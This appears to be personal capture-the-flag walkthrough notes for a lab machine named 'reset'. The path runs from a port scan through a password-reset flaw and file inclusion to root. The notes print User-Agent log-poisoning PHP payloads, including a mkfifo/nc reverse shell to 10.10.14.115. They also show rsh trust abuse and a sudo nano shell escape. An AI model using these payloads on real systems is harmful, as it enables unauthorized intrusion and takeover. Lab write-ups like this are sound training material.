notes

PORT    STATE SERVICE VERSION
22/tcp  open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 6a:16:1f:c8:fe:fd:e3:98:a6:85:cf:fe:7b:0e:60:aa (ECDSA)
|_  256 e4:08:cc:5f:8e:56:25:8f:38:c3:ec:df:b8:86:0c:69 (ED25519)
80/tcp  open  http    Apache httpd 2.4.52 ((Ubuntu))
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Admin Login
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
512/tcp open  exec    netkit-rsh rexecd
513/tcp open  login?
514/tcp open  shell   Netkit rshd
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

attachments/notes.png
I tried default creds but it did not work.

There is also a button Forgot Password. I ll play with it.

attachments/notes-2.png

attachments/notes-3.png
We can brute force users here. but before that I ll intercept the request.
attachments/notes-4.png
site is poorly coded, we can see the new_password in clear text. LOL
I ll login with these creds
attachments/notes-5.png

attachments/notes-7.png
WE can see its trying to print the file content. it might have a LFI vuln here.

Try printing access.log
attachments/notes-8.png
here we can see that our User-Agent is also being printed, I ll try to abuse it.
User-Agent: asdf <?php system('whoami'); ?>
attachments/notes-9.png

I ll get a rev shell.
User-Agent: asdf <?php system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.115 9001 >/tmp/f'); ?>
attachments/notes-10.png

I get a revshell this way
attachments/notes-11.png

cd sadm
www-data@reset:/home/sadm$ ls
ls
user.txt
www-data@reset:/home/sadm$ find .
find .
.
./.bash_logout
./.profile
./.bash_history
./user.txt
./.cache
find: _./.cache_: Permission denied
./.bashrc
./.local
./.local/share
find: _./.local/share_: Permission denied
./.rhosts
www-data@reset:/home/sa

We can see .rhosts file in sadm home directory. I ll check the rsh config file. which is present in /etc/hosts.equiv

cat /etc/hosts.equiv 
# /etc/hosts.equiv: list  of  hosts  and  users  that are granted "trusted" r
#                   command access to your system .
- root
- local
+ sadm

attachments/notes-12.png
I ll create a user sadm on my machine and try to login using rshattachments/notes-13.png
We are in as sadm

If you run linpeas you can see that there is an tmux session open.

sadm@reset:~$ tmux ls
sadm_session: 1 windows (created Mon Mar 16 14:06:53 2026)
sadm@reset:~$ date
Mon Mar 16 02:19:03 PM UTC 2026

use tmux a to get attached to that session.
attachments/notes-14.png
We can see a password and also I might be able to use sudo from here.

sadm@reset:~$ sudo -l
Matching Defaults entries for sadm on reset:
    env_reset, timestamp_timeout=-1, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty, !syslog

User sadm may run the following commands on reset:
    (ALL) PASSWD: /usr/bin/nano /etc/firewall.sh
    (ALL) PASSWD: /usr/bin/tail /var/log/syslog
    (ALL) PASSWD: /usr/bin/tail /var/log/auth.log

i will use nano to get a root shell.
https://gtfobins.org/gtfobins/nano/#shell

attachments/notes-15.png

ctrl+R ctrl+X
reset; sh 1>&0 2>&0

attachments/notes-16.png

Root.